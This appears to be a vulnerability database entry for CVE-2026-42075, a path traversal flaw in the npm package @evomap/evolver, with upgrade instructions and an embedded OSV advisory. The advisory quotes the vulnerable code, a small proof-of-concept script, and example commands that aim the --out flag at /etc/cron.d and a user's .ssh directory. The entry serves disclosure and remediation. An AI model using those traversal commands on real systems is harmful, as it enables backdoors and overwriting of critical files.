CVE-2026-42075: Evolver Path Traversal Vulnerability
HIGHCVE-2026-42075 is a HIGH (CVSS 8.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Evolver libraries in the npm ecosystem. The issue involves path traversal via `--out` flag in `fetch` command allows arbitrary file write. Remediation is available by upgrading affected packages to version 1.69.3.
CVE-2026-42075 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-42075
To remediate this vulnerability, upgrade all affected Evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @evomap/evolver@1.69.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @evomap/evolver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-42075, inspect your project dependencies using npm:
npm ls @evomap/evolver
Analyze the terminal output to locate any version of Evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.69.3), your application is affected.
Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42075 Affected Evolver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@evomap/evolver
|
npm |
< 1.69.3
|
1.69.3
|
References
Frequently Asked Questions
What is CVE-2026-42075?
Which Evolver versions are affected?
What version fixes CVE-2026-42075?
Is @evomap/evolver affected?
What is the CVSS score of CVE-2026-42075?
What CWE is associated with CVE-2026-42075?
How can I check npm dependencies for CVE-2026-42075?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r466-rxw4-3j9j",
"modified" : "2026-05-04T19:54:30Z",
"published" : "2026-04-22T22:06:15Z",
"aliases" : [ "CVE-2026-42075" ],
"summary" : "Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write",
"details" : "### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n ? outFlag.slice('--out='.length) // User-controlled path\n : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n const outDir = outFlag\n ? outFlag.slice('--out='.length) // No validation!\n : path.join('.', 'skills', 'default');\n \n console.log('Target directory:', outDir);\n console.log('Resolved path:', path.resolve(outDir));\n \n // In real code, this would write skill files\n const targetFile = path.join(outDir, 'skill.js');\n console.log('Would write to:', targetFile);\n \n return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n if (!fs.existsSync(result.outDir)) {\n fs.mkdirSync(result.outDir, { recursive: true });\n }\n fs.writeFileSync(\n path.join(result.outDir, 'poc.txt'),\n 'Path traversal successful!\\nThis file was written outside the intended directory.'\n );\n console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@evomap/evolver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.69.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42075"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/EvoMap/evolver"
}, {
"type" : "WEB",
"url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T22:06:15Z",
"nvd_published_at" : "2026-05-04T17:16:24Z"
}
}